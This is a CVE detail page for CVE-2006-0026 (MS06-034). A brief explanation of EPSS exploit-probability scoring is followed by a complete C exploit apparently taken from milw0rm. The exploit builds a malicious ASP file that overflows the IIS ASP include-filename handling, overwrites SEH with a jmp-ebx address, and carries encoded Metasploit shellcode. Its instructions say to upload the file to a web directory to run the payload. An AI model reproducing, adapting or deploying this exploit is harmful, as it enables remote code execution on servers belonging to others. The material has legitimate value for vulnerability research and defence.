CVE-2006-0026 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#include <stdio.h> #include <windows.h> /*********************************************************************** Microsoft IIS ASP Stack Overflow Exploit(MS06-034) by cocoruder(frankruder_at_hotmail.com),2006/7/13 page:http://ruder.cdut.net/default.asp successfully test on Windows 2000 Server SP4+IIS5.0, On Windows 2003 Server+IIS6.0,because the new SEH protection mechanisms, you should set the new fs:[0]->hander flexibility,this need some luck. usage: upload the "exploit2000.asp" to IIS web directory,use web browser to visit it,then the shellcode will execute. ************************************************************************/ //include asp filename length=10ch>104h unsigned char asp_include_header[]= "<!--#include file=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.asp\"-->"; //jmp 8 unsigned char code_jmp8[]= "\xEB\x06\x90\x90"; //jmp ebx address unsigned char addr_jmp_ebx[]= "\x66\x4A\xE6\x77"; // shellcode !! Must be free of Unicode null terminators (0x0000) !! // win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com unsigned char shellcode[]= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34" "\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47" "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48" "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58" "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c" "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38" "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54" "\x4b\x38\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48" "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x53" "\x42\x4c\x46\x36\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x37" "\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a" "\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b" "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53" "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37" "\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49" "\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46" "\x4e\x46\x43\x46\x42\x30\x5a"; void main(void) { FILE *fp=NULL; int i; printf("[+] Creating file...exploit.asp\n"); if ((fp=fopen("exploit2000.asp","wb"))==NULL) { printf("fopen error!\n"); return; } fwrite(asp_include_header,sizeof(asp_include_header)-1,1,fp); //fill for (i=0;i<0x135;i++) { fwrite("\x41",1,1,fp); } fwrite(code_jmp8,4,1,fp); fwrite(addr_jmp_ebx,4,1,fp); fwrite(shellcode,sizeof(shellcode)-1,1,fp); //fill for (i=0;i<0x1500;i++) { fwrite("\x41",1,1,fp); } fclose(fp); printf("[+] Exploit file has been successfully built.\n"); } # milw0rm.com [2006-07-21]